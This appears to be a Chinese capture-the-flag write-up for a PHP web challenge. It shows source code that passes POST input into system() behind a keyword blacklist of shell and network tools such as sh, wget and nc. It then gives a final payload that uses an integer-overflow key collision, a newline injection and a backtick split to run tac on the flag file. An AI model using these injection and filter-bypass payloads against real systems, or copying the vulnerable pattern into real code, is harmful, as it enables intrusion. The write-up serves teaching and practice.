CTF-webfavorite_number
题目链接
考点知识:PHP代码审计、PHP正则表达式、PHP整型溢出、linux系统命令
解题思路
1、题目源码解析
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = [‘admin‘, ‘user‘];
//要求POST提交的stuff强等于array,也就是类型与数值相等,且stuff[0]不等于admin
//PHP5.5.9整型溢出溢出漏洞,stuff[2^32]=stuff[0]
if($stuff === $array && $stuff[0] != ‘admin‘) {
$num= $_POST["num"];
//利用url换行符%0a,第一行是数字绕过正则
if (preg_match("/^\d+$/im",$num)){
//利用tac与反引号
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|‘|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo ‘Bonjour!‘;
}
}
} else {
highlight_file(__FILE__);
}
最终payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac+/fla``g